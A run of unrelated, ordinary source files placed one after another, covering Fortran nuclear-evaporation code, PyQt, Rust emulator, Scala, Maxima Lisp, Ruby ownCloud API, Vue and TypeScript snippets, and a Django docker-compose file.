evapRes%fissionBnk(k)%physicsFlag == fissionFlag ) then ! Fission fragment was evaporated and flagged to undergo fission again write(gsmObj%io%message, *) "A fission fragment underwent fission (not handled)!" call gsmObj%io%print(1, 2, gsmObj%io%message) else ! No fission was undergone write(gsmObj%io%message, *) "Unexpected logic found in GEM2 evaporation interface." call gsmObj%io%print(1, 2, gsmObj%io%message) end if end do end if else ! Error: Compound physics processes were not accurately tracked write(gsmObj%io%message,*) "The compound was flagged to undergo an unkown process in the evaporation interface." call gsmObj%io%print(1, 2, gsmObj%io%message) return end if return ! ====================================================================== 1000 format("The GSM progeny bank was filled during the evaporation simulation.") 1010 format(" Unable to bank the remaining ", i3, " progeny.") 2000 format("Divide by zero error prevented in ", & & "'evapInterface.f90', line ", A) 3000 format("Unable to determine progeny origin from ", & & "the evaporation and fission process. Progeny will be assumed ", & & "to originate from evaporation of the compound nucleus.") ! ====================================================================== end subroutine evaporationInterface
from typing import List, Set, Tuple from PyQt5.QtCore import QSortFilterProxyModel, QItemSelection, Qt from PyQt5.QtWidgets import QTableView, QHeaderView from histoslider.core.manager import Manager from histoslider.core.message import SelectedMetalsChangedMessage from histoslider.models.channel import Channel from histoslider.models.channels_model import ChannelsModel class ChannelsTableView(QTableView): def __init__(self, parent): QTableView.__init__(self, parent) proxy_model = QSortFilterProxyModel() proxy_model.setSortCaseSensitivity(Qt.CaseInsensitive) self.setModel(proxy_model) self.horizontalHeader().setResizeMode(QHeaderView.ResizeToContents) self.verticalHeader().setDefaultSectionSize(10) self.setSelectionBehavior(QTableView.SelectRows) self.setEditTriggers(QTableView.NoEditTriggers) self.sortByColumn(1, Qt.AscendingOrder) self.setSortingEnabled(True) self.selectionModel().selectionChanged.connect(self._on_selection_changed) self.channel_list: List[Tuple[str, str, int]] = None def clear(self): self.model().setSourceModel(None) self.channel_list = None def set_channels(self, channels: List[Channel]): new_channel_list = list() for c in channels: new_channel_list.append((c.label, c.metal, c.mass)) if new_channel_list != self.channel_list: self.channel_list = new_channel_list model = ChannelsModel(self.channel_list) self.model().setSourceModel(model) def _on_selection_changed(self, selected: QItemSelection, deselected: QItemSelection): proxy_model: QSortFilterProxyModel = self.model() model = proxy_model.sourceModel() selected_metals: Set[str] = set() for index in self.selectedIndexes(): if index.column() != 0: continue if index.isValid(): source_index = proxy_model.mapToSource(index) row = source_index.row() channel = model.channels[row] selected_metals.add(channel[1]) if len(selected_metals) < 7: Manager.hub.broadcast(SelectedMetalsChangedMessage(self, selected_metals))
## Django `nano docker-compose.yaml` ```yaml version: "3.3" services: postgres-compose: image: postgres restart: unless-stopped container_name: postgres-compose volumes: - ./data/db:/var/lib/postgresql/data environment: - POSTGRES_DB=postgres - POSTGRES_USER=postgres - POSTGRES_PASSWORD=postgres django-compose: # build: . image: python:3 container_name: django-compose command: > /bin/sh -c " cd /code \ && python3 -m venv ./.venv \ && pwd \ && ls -al / \ && ls -al ./ \ && source ./.venv/bin/activate \ && pip3 install -r ./requirements.txt \ && python3 manage.py makemigrations \ && python3 manage.py migrate \ && python3 manage.py runserver 0.0.0.0:8000 " volumes: - ./brandat:/code ports: - "8000:8000" depends_on: - postgres-compose environment: - POSTGRES_DB=postgres - POSTGRES_USER=postgres - POSTGRES_PASSWORD=postgres ```
module HLines.FileSpec where import Test.Hspec import HLines.Counter import System.IO import System.FilePath import HLines.Internal import HLines.Type import HLines.Language readContent :: FilePath -> IO (Comment, Lines) readContent fp = do (_, comment, lines) <- readLines fp return (comment, lines) spec :: Spec spec = do describe "Count lines of code" $ do it "PLASMA" $ do (comment, content) <- readContent "test-data/plasma.c" countLines comment content `shouldBe` Count 32032 8848 3792 44672 it "FE" $ do (comment, content) <- readContent "test-data/fe25519.c" countLines comment content `shouldBe` Count 278 51 8 (278 + 51 + 8) it "EBC" $ do (comment, content) <- readContent "test-data/ebcdic.c" countLines comment content `shouldBe` Count 165 18 101 (165 + 18 + 101) it "DUMB" $ do (comment, content) <- readContent "test-data/dumb.c" countLines comment content `shouldBe` Count 2 0 3 5 it "IPL" $ do (comment, content) <- readContent "test-data/ipl_funcs.c" countLines comment content `shouldBe` Count 25 6 43 (25 + 6 + 43) it "RUBY" $ do (comment, content) <- readContent "test-data/test.rb" countLines comment content `shouldBe` Count 2 0 2 4 it "OCAML" $ do (comment, content) <- readContent "test-data/ocaml.ml" countLines comment content `shouldBe` Count 3 4 6 13 it "ADA" $ do (comment, content) <- readContent "test-data/ada.ada" countLines comment content `shouldBe` Count 4 0 3 7 it "GHERKIN" $ do (comment, content) <- readContent "test-data/gherkin.feature" countLines comment content `shouldBe` Count 8 2 2 12 it "GROOVY" $ do (comment, content) <- readContent "test-data/test.groovy" countLines comment content `shouldBe` Count 6 1 10 17 it "TERRAFORM" $ do (comment, content) <- readContent "test-data/test.tf" countLines comment content `shouldBe` Count 65 13 11 (65 + 13 + 11) it "ZIG" $ do (comment, content) <- readContent "test-data/zig.zig" countLines comment content `shouldBe` Count 5 2 2 9 it "NIX" $ do (comment, content) <- readContent "test-data/test.nix" countLines comment content `shouldBe` Count 3 2 3 8 it "POWERSHELL" $ do (comment, content) <- readContent "test-data/test.ps1" countLines comment content `shouldBe` Count 2 1 6 9 it "HANDLEBARS" $ do (comment, content) <- readContent "test-data/test.handlebars" countLines comment content `shouldBe` Count 2 0 2 4 it "NESTED_HASKELL" $ do (comment, content) <- readContent "test-data/nested-comments.hs" countLines comment content `shouldBe` Count 2 4 8 14
using UnityEngine; using UnityEngine.EventSystems; public class EnableOnHover : MonoBehaviour, IPointerEnterHandler, IPointerExitHandler { private MeshRenderer mesh; public void Start() { mesh = gameObject.GetComponent<MeshRenderer>(); mesh.enabled = false; } public void OnPointerEnter(PointerEventData eventData) { mesh.enabled = true; } public void OnPointerExit(PointerEventData eventData) { mesh.enabled = false; } }
# Examples The following examples demonstrate the basic design patterns for using `stoke` and switching between different configurations: - [CIFAR10](https://github.com/fidelity/stoke/blob/master/examples/cifar10) - HuggingFace BERT -- Coming Soon!
# StructureFacilityModel [View this table in your browser](StructureFacilityModel-value.md) (version 1.6.0). **Named columns**: 17/19 **Documented columns**: 0/19 **Description**: Exterior model params for buildings ## Door0Angle **Name**: Door0Angle **Hash**: 0x88ff5893 **Hashed string**: Door0Angle f32 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## 0x85a0fa49 **Hash**: 0x85a0fa49 **Type**: u32/s32 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## FacilityModelVariation **Name**: FacilityModelVariation **Hash**: 0xdd9617a2 **Hashed string**: FacilityModelVariation.hshCstringRef **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## FloorHeight **Name**: FloorHeight **Hash**: 0x6efc082c **Hashed string**: FloorHeight f32 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## Door0 **Name**: Door0 **Hash**: 0x0d664b5c **Hashed string**: Door0 u16 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## DoorMaterial **Name**: DoorMaterial **Hash**: 0x42bdd56f **Hashed string**: DoorMaterial u16 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## 0x9c2d6dc6 **Hash**: 0x9c2d6dc6 **Type**: u16/s16 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## RoofMaterial **Name**: RoofMaterial **Hash**: 0x83b54e59 **Hashed string**: RoofMaterial u16 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## StructureInfoUniqueID **Name**: StructureInfoUniqueID **Hash**: 0x00c1577d **Hashed string**: StructureInfoUniqueID u16 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## UniqueID **Name**: UniqueID **Hash**: 0x54706054 **Hashed string**: UniqueID u16 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## Construction **Name**: Construction **Hash**: 0x9c8a400b **Hashed string**: Construction u8 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## GrowLevel **Name**: GrowLevel **Hash**: 0x35ac1bb4 **Hashed string**: GrowLevel u8 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## HasDoorEigyoLight **Name**: HasDoorEigyoLight **Hash**: 0x23e16936 **Hashed string**: HasDoorEigyoLight u8 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## HasEigyoLight **Name**: HasEigyoLight **Hash**: 0x43d8a434 **Hashed string**: HasEigyoLight u8 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## HasNightLight **Name**: HasNightLight **Hash**: 0x42e82ded **Hashed string**: HasNightLight u8 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## IsUseXlink **Name**: IsUseXlink **Hash**: 0x09d75f40 **Hashed string**: IsUseXlink u8 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | No | Yes | Yes | Yes | Yes | Yes | Yes| ## ModelName **Name**: ModelName **Hash**: 0x39b5a93d **Hashed string**: ModelName string32 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## UseChimneySmoke **Name**: UseChimneySmoke **Hash**: 0x397b2b54 **Hashed string**: UseChimneySmoke u8 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes| ## UseMyDesign **Name**: UseMyDesign **Hash**: 0x89be1d8f **Hashed string**: UseMyDesign u8 **Versions**: | 1.0.0 | 1.1.0 | 1.2.0 | 1.3.0 | 1.4.0 | 1.5.0 | 1.6.0 |:--:|:--:|:--:|:--:|:--:|:--:|:--:| | Yes | Yes | Yes | Yes | Yes | Yes | Yes|
use bitvec::{view::BitView, order::Lsb0}; #[derive(Debug, Default)] pub struct Joypad { action_selected: bool, direction_selected: bool, select_pressed: bool, start_pressed: bool, a_pressed: bool, b_pressed: bool, up_pressed: bool, down_pressed: bool, left_pressed: bool, right_pressed: bool, } impl Joypad { pub fn read(&self) -> u8 { let mut byte = 0xFFu8; let bits = byte.view_bits_mut::<Lsb0>(); if self.action_selected { bits.set(0, !self.a_pressed); bits.set(1, !self.b_pressed); bits.set(2, !self.select_pressed); bits.set(3, !self.start_pressed); } else if self.direction_selected { bits.set(0, !self.right_pressed); bits.set(1, !self.left_pressed); bits.set(2, !self.up_pressed); bits.set(3, !self.down_pressed); } byte } pub fn write(&mut self, b: u8) { let bits = b.view_bits::<Lsb0>(); self.direction_selected = !bits[4]; self.action_selected = !bits[5]; } pub fn set_button(&mut self, button: Button, is_pressed: bool) -> bool { let orig_state = self.read(); match button { Button::Start => self.start_pressed = is_pressed, Button::Select => self.select_pressed = is_pressed, Button::A => self.a_pressed = is_pressed, Button::B => self.b_pressed = is_pressed, Button::Up => self.up_pressed = is_pressed, Button::Down => self.down_pressed = is_pressed, Button::Left => self.left_pressed = is_pressed, Button::Right => self.right_pressed = is_pressed, } self.read() != orig_state } } #[derive(Debug, Copy, Clone, PartialEq, Eq)] #[repr(u8)] pub enum Button { Start = 0, Select, A, B, Up, Down, Left, Right, }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.carbondata.spark.rdd import scala.collection.JavaConverters._ import org.apache.hadoop.mapreduce.RecordReader import org.apache.spark.{Partition, TaskContext} import org.apache.spark.sql.carbondata.execution.datasources.tasklisteners.CarbonQueryTaskCompletionListener import org.apache.spark.sql.profiler.{Profiler, QueryTaskEnd} import org.apache.carbondata.common.logging.LogServiceFactory import org.apache.carbondata.core.memory.UnsafeMemoryManager import org.apache.carbondata.core.stats.{QueryStatistic, QueryStatisticsConstants, QueryStatisticsRecorder} import org.apache.carbondata.core.util.{DataTypeUtil, TaskMetricsMap, ThreadLocalTaskInfo} import org.apache.carbondata.spark.InitInputMetrics class QueryTaskCompletionListener(freeMemory: Boolean, var reader: RecordReader[Void, Object], inputMetricsStats: InitInputMetrics, executionId: String, taskId: Int, queryStartTime: Long, queryStatisticsRecorder: QueryStatisticsRecorder, split: Partition, queryId: String) extends CarbonQueryTaskCompletionListener { override def onTaskCompletion(context: TaskContext): Unit = { if (reader != null) { try { reader.close() } catch { case e: Exception => LogServiceFactory.getLogService(this.getClass.getCanonicalName).error(e) } reader = null } TaskMetricsMap.getInstance().updateReadBytes(Thread.currentThread().getId) inputMetricsStats.updateAndClose() logStatistics(executionId, taskId, queryStartTime, queryStatisticsRecorder, split) if (freeMemory) { UnsafeMemoryManager.INSTANCE .freeMemoryAll(ThreadLocalTaskInfo.getCarbonTaskInfo.getTaskId) ThreadLocalTaskInfo.clearCarbonTaskInfo() DataTypeUtil.clearFormatter() } } def logStatistics( executionId: String, taskId: Long, queryStartTime: Long, recorder: QueryStatisticsRecorder, split: Partition ): Unit = { if (null != recorder) { val queryStatistic = new QueryStatistic() queryStatistic.addFixedTimeStatistic(QueryStatisticsConstants.EXECUTOR_PART, System.currentTimeMillis - queryStartTime) recorder.recordStatistics(queryStatistic) // print executor query statistics for each task_id val statistics = recorder.statisticsForTask(taskId, queryStartTime) if (statistics != null && executionId != null) { Profiler.invokeIfEnable { val inputSplit = split.asInstanceOf[CarbonSparkPartition].split.value inputSplit.calculateLength() val size = inputSplit.getLength val files = inputSplit.getAllSplits.asScala.map { s => s.getSegmentId + "/" + s.getPath.getName }.toArray[String] Profiler.send( QueryTaskEnd( executionId.toLong, queryId, statistics.getValues, size, files ) ) } } recorder.logStatisticsForTask(statistics) } } }
;; Maxima code for extracting powers, finding leading and trailing ;; coefficients, and finding the degree of polynomials. ;; Author Barton Willis, University of Nebraska at Kearney (aka UNK) ;; December 2001, December 2002 ;; License: GPL ;; The user of this code assumes all risk for its use. It has no warranty. ;; If you don't know the meaning of "no warranty," don't use this code. :) (in-package :maxima) ($put '$powers 1 '$version) ;; Acknowledgement: Dan Stanger helped find and correct bugs. He ;; also wrote user documentation and a test routine. ;; posintp(x) returns true iff x is a positive integer or if x has been declared ;; to be an integer and has been assumed to be greater than zero. Thus ;; (C1) declare(m, integer)$ ;; (C2) assume(m > 0)$ ;; (C3) posintp(m); ;; (D3) TRUE ;; posintp isn't used by any functions in powers; it could be expunged. (defun $posintp (x) (and (or ($integerp x) ($featurep x '$integer)) (mgrp x 0))) ;; Set ratfac to nil, return rat(e,x), and reset ratfac to ;; its previous value. (defun myrat (e &rest x) (let ((save-ratfac $ratfac)) (setq $ratfac nil) (unwind-protect (apply '$rat `(,e ,@x)) (setq $ratfac save-ratfac)))) ;; If x list a Maxima list of symbols, return true iff the expression p ;; doesn't depend on any member of x. If x is a symbol, return true ;; iff p doesn't depend on x. This function is similar to $freeof, but ;; it maybe somewhat more efficient when p is a CRE expression. Finally, ;; if x (any member of x when x is a Maxima list) isn't a symbol signal ;; an error. (defun $ratfreeof (x p) (setq x (require-list-of-symbols x "$ratfreeof" 2)) (let ((p-vars (cdr ($showratvars p)))) (cond ((every #'(lambda (z) (or ($symbolp z) ($subvarp z))) p-vars) (every #'(lambda (z) (null (member z p-vars :test #'like))) x)) (t (setq p ($totaldisrep p)) (every #'(lambda(z) ($freeof ($totaldisrep z) p)) x))))) ;; variablep(e) evaluates to true if and only if e is a non-constant symbol ;; or a subscripted symbol. Because symbolp(pi) evaluates to true, we need to ;; check whether cd mae is constant. (defun $variablep (e) (and (or ($symbolp e) ($subvarp e)) (not ($constantp e)))) ;; ordinal_string(i) returns the ordinal name of the integer i. When ;; i > 10, i < 1, or i isn't an integer, give up and return i-th. (defun $ordinal_string (i) (case i (1 "first") (2 "second") (3 "third") (4 "fourth") (5 "fifth") (6 "sixth") (7 "seventh") (8 "eighth") (9 "ninth") (10 "tenth") (otherwise (format nil "~A-th" (mfuncall '$string i))))) ;; If variablep(v) evaluates to false, signal an error saying that ;; the i-th argument of the function f requires a symbol; otherwise, ;; return true. (defun require-symbol (v f i) (if (not ($variablep v)) (merror "The ~A argument of ~:M must be a symbol, instead found ~:M" ($ordinal_string i) f v) t)) ;; If v is a Maxima list and each element of v is a symbol, return the ;; cdr of v. When v isn't a list, but is a symbol, return the Lisp list ;; (list v). Otherwise signal an error saying that the i-th argument of the ;; function f requires a symbol or a list of symbols. (defun require-list-of-symbols (v f i) (let ((x)) (if ($listp v) (setq x (cdr v)) (setq x (list v))) (if (every #'$variablep x) x (merror "The ~A argument of ~:M must be a symbol or a list of symbols, instead found ~:M" ($ordinal_string i) f v)))) (defun require-poly (p v f i) (setq p (myrat p v)) (if ($polynomialp p v) p (merror "The ~A argument of ~:M requires a polynomial, instead found ~:M" ($ordinal_string i) f p))) (defun require-nonlist (e f i) (if ($listp e) (merror "The ~A argument of ~:M requires a nonlist, instead found ~:M" ($ordinal_string i) f e))) ;; Return a Maxima list of the non-constant rat variables in e. (defun non-constant-ratvars (e) (let ((v (cdr ($showratvars e))) (acc)) (dolist (vi v `((mlist simp) ,@acc)) (if (not ($constantp vi)) (push vi acc))))) ;; If e is a list, map $powers over the list. If e is a sum of powers ;; of powers of x, return a list of the exponents. (defun $powers (e x) (require-symbol x "$powers" 2) (cond (($listp e) (cons '(mlist simp) (mapcar #'(lambda (p) ($powers p x)) (cdr e)))) (t (setq e (require-poly (myrat e x) x "$powers" 1)) (cond (($ratfreeof x e) `((mlist simp) 0)) (t (cons '(mlist simp) (odds (cadr e) 0))))))) ;; Return the highest power of the polynomial e in the variable x. (defun $hipower (e x) (require-symbol x "$hipower" 2) (setq e (require-poly (myrat e x) x "$hipower" 1)) (if (or ($constantp e) ($ratfreeof x e)) 0 (cadadr e))) ;; Return the lowest power of the polynomial e in the variable x. (defun $lowpower (e x) (require-symbol x "$lowpower" 2) (setq e (require-poly (myrat e x) x "$lowpower" 1)) (if (or ($constantp e) ($ratfreeof x e)) 0 (nth 1 (reverse (cadr e))))) ;; Flatten a Maxima list. (defun flatten-list (e) (cond (($listp e) (let ((acc)) (dolist (ei (cdr e) (cons '(mlist simp) (nreverse acc))) (setq acc (if ($listp ei) (nconc (cdr (flatten-list ei)) acc) (cons ei acc)))))) (t e))) ;; If e is a sum of powers of x, return a list of the coefficients ;; of powers of x. When e isn't a sum of powers, return false. This ;; function is based on a Macsyma function written by A.D. Kennedy and ;; referenced in "Mathematics and System Reference Manual," 16th edition, ;; 1996. (defun $allcoeffs (e x) (flatten-list (allcoeffs e x))) (defun allcoeffs (e x) (cond (($listp e) (cons '(mlist simp) (mapcar #'(lambda (s) (allcoeffs s x)) (cdr e)))) (($listp x) (cond ((= 0 ($length x)) e) (t (allcoeffs (allcoeffs e ($first x)) ($rest x))))) (t (require-symbol x "$allcoeffs" 2) (setq e (myrat e x)) (let ((p ($powers e x))) (cons '(mlist simp) (mapcar #'(lambda (n) ($ratcoef e x n)) (cdr p))))))) ;; Return the coefficient of the term of the polynomial e that ;; contains the highest power of x. When x = [x1,x2,...,xn], return ;; lcoeff(lcoeff( ... (lcoeff(e,x1),x2),...,xn)...) (defun $lcoeff (e &optional v) (require-nonlist e "$lcoeff" 1) (if (null v) (setq v (non-constant-ratvars e))) (lcoeff (require-poly (myrat e) v "$lcoeff" 1) (require-list-of-symbols v "$lcoeff" 2))) (defun lcoeff (e x) (if (null x) e (lcoeff ($ratcoef e (car x) ($hipower e (car x))) (cdr x)))) ;; Return the coefficient of the term of the polynomial e that ;; contains the least power of x. When x = [x1,x2,...,xn], return ;; lcoeff(lcoeff( ... (lcoeff(e,x1),x2),...,xn)...) (defun $tcoeff (e &optional v) (require-nonlist e "$tcoeff" 1) (if (null v) (setq v (non-constant-ratvars e))) (tcoeff (require-poly (myrat e) v "$tcoeff" 1) (require-list-of-symbols v "$tcoeff" 2))) (defun tcoeff (e x) (if (null x) e (tcoeff ($ratcoef e (car x) ($lowpower e (car x))) (cdr x)))) ;; Return the degree of the symbol x in the polynomial p. When ;; x is a list, degree(p, [x1,x2,...,xn]) returns ;; degree(p,x1) + degree(lcoeff(p, x1),[x2,...xn]). ;; Finally, degree(p,[]) returns 0. (defun $degree (p x) (degree (require-poly (myrat p) x "$degree" 1) (require-list-of-symbols x "$degree" 2))) (defun degree (p x) (if (null x) 0 (add ($hipower p (car x)) (degree (lcoeff p `(,(car x))) (cdr x))))) ;; Return the total degree of the polynomial. Four cases: ;; (a) total_degree(p) returns the total degree of the polynomial ;; in the variables listofvars(p). ;; (b) total_degree(p,x), where x isn't a list returns the ;; total_degree of p in the variable x. ;; (c) total_degree(p,[x1,x2,...,xn]), where x = [x1,x2,...,xn] ;; returns the total_degree of p in the variables x1 thru xn. ;; (d) total_degree(p,x1,x2,...xn), where the x's are symbols ;; returns the total_degree of p in the variables x1 thru xn. (defun $total_degree (p &optional v) (if (null v) (setq v (non-constant-ratvars p))) (setq v (require-list-of-symbols v "$total_degree" 2)) (total-degree (cadr (apply 'myrat `(,p ,@v))))) (defun total-degree (e) (cond ((consp (nth 2 e)) (+ (nth 1 e) (total-degree (nth 2 e)))) (t (nth 1 e)))) (defun $lcm (p q) (nth 1 ($divide (mul p q) ($gcd p q)))) ;; Compute the s-polynomial of f and g. For a definition of the ;; s-polynomial, see Davenport, Siret, and Tournier, "Computer Algebra," ;; 1988, page 100. (defun $spoly (f g v) (setq v (cons '(mlist simp) (require-list-of-symbols v "$spoly" 3))) (setq f (myrat f)) (setq g (myrat g)) (let ((fp ($lterm f v)) (gp ($lterm g v))) (mul ($lcm fp gp) (add (div f fp) (mul -1 (div g gp)))))) (defun $lterm (p &optional v) (if (null v) (setq v (non-constant-ratvars p))) (lterm (require-poly (myrat p) v "$lterm" 1) (require-list-of-symbols v "$lterm" 2))) (defun lterm (p v) (cond ((null v) p) (t (let* ((vo (car v)) (n ($hipower p vo))) (lterm (mult ($ratcoef p vo n) (power vo n)) (cdr v)))))) (defun $get_exponents (p x) (setq x (require-list-of-symbols x "$get_exponents" 2)) (let ((acc)) (setq p (myrat p)) (require-poly p (cons '(mlist simp) x) "$get_exponents" 1) (dolist (xi x (cons '(mlist simp) (nreverse acc))) (push ($hipower p xi) acc) (setq p ($lcoeff p xi))))) ;; Return true iff and only if e is a polynomial in the variables var. (defun $polynomialp (e &optional vars cp ep) (declare (ignore cp ep)) (if (null vars) (setq vars (non-constant-ratvars e))) (setq vars (require-list-of-symbols vars "$polynomialp" 2)) (setq vars `((mlist simp) ,@vars)) (and (every #'(lambda (x) (or ($variablep x) ($ratfreeof vars x) ($constantp x))) (cdr ($showratvars e))) (not ($taylorp e)) ($ratfreeof vars ($ratdenom e))))
#!/bin/bash clear /usr/bin/mysql owp_users < ./schema/owp-complete.sql ./vendor/bin/phpunit --verbose --colors=never
<?php namespace Interop\Container\Factory; use Interop\Container\ContainerInterface; use Puli\Discovery\Api\Discovery; /** * Classes implementing this interface are factories that can be used to create containers. */ interface ContainerFactoryInterface { /** * Creates a container. * * @param ContainerInterface $rootContainer * @param Discovery $discovery * * @return ContainerInterface */ public static function buildContainer(ContainerInterface $rootContainer, Discovery $discovery); }
require "owncloud_user_provisioning/version" require "faraday" require "nokogiri" require 'dotenv' Dotenv.load begin require 'pry-byebug' require "awesome_print" rescue LoadError end module OwncloudUserProvisioning def self.conn conn ||= Faraday.new(url: 'https://cloud.espm.br/ocs/v1.php/cloud/') do |faraday| # faraday.response :logger # faraday.response :raise_error faraday.request :url_encoded faraday.basic_auth(ENV['OWNCLOUD_USER'], ENV['OWNCLOUD_PASSWORD']) faraday.adapter Faraday.default_adapter end conn end def self.find_users(user_name: nil) params = { search: user_name } if user_name response = conn.get 'users', params Nokogiri::XML(response.body) end def self.find_user(user_name: nil) fail(ArgumentError, "user_name is required") if user_name.nil? response = conn.get "users/#{user_name}" Nokogiri::XML(response.body) end def self.find_user_groups(user_name: nil) fail(ArgumentError, "user_name is required") if user_name.nil? response = conn.get "users/#{user_name}/groups" Nokogiri::XML(response.body) end def self.add_user(user_name: nil, password: nil) fail(ArgumentError, "user_name is required") if user_name.nil? fail(ArgumentError, "password is required") if password.nil? response = conn.post 'users', userid: user_name, password: password Nokogiri::XML(response.body) end def self.remove_user(user_name: nil) fail(ArgumentError, "user_name is required") if user_name.nil? response = conn.delete "users/#{user_name}" Nokogiri::XML(response.body) end def self.change_email(user_name: nil, email: nil) fail(ArgumentError, "user_name is required") if user_name.nil? fail(ArgumentError, "email is required") if email.nil? response = conn.put "users/#{user_name}", key: "email", value: email Nokogiri::XML(response.body) end def self.change_quota(user_name: nil, quota: nil) fail(ArgumentError, "user_name is required") if user_name.nil? fail(ArgumentError, "quota is required") if quota.nil? response = conn.put "users/#{user_name}", key: "quota", value: quota Nokogiri::XML(response.body) end def self.add_to_group(user_name: nil, group: nil) fail(ArgumentError, "user_name is required") if user_name.nil? fail(ArgumentError, "group is required") if group.nil? response = conn.post "users/#{user_name}/groups", groupid: group Nokogiri::XML(response.body) end def self.find_groups(group: nil) params = { search: group } if group response = conn.get 'groups', params Nokogiri::XML(response.body) end def self.create_group(group_id: nil) fail(ArgumentError, "group_id is required") if group_id.nil? params = {groupid: group_id} response = conn.post 'groups', params Nokogiri::XML(response.body) end def self.remove_group(group_id: nil) fail(ArgumentError, "group_id is required") if group_id.nil? params = {groupid: group_id} response = conn.delete "groups/#{group_id}" Nokogiri::XML(response.body) end # def self.find_group(group: nil) # fail(ArgumentError, "group is required") if group.nil? # response = conn.get "groups/#{group}" # Nokogiri::XML(response.body) # end end
// Libraries import Vuetify from 'vuetify' import Vuex from 'vuex' // Components import deleteConfirm from '@/components/deleteConfirm' // Utilities import { mount, createLocalVue } from '@vue/test-utils' const localVue = createLocalVue() localVue.use(Vuex) localVue.use(new Vuetify()) describe('components/deleteConfirm', () => { let wrapper beforeEach(() => { wrapper = mount(deleteConfirm, { localVue, mocks: { $t: (msg) => msg, }, }) }) it('is a Vue instance', () => { expect(wrapper.exists()).toBeTruthy() }) })
import { Device } from './device'; export abstract class DeviceRegistry { abstract getDevices(): Device[]; }
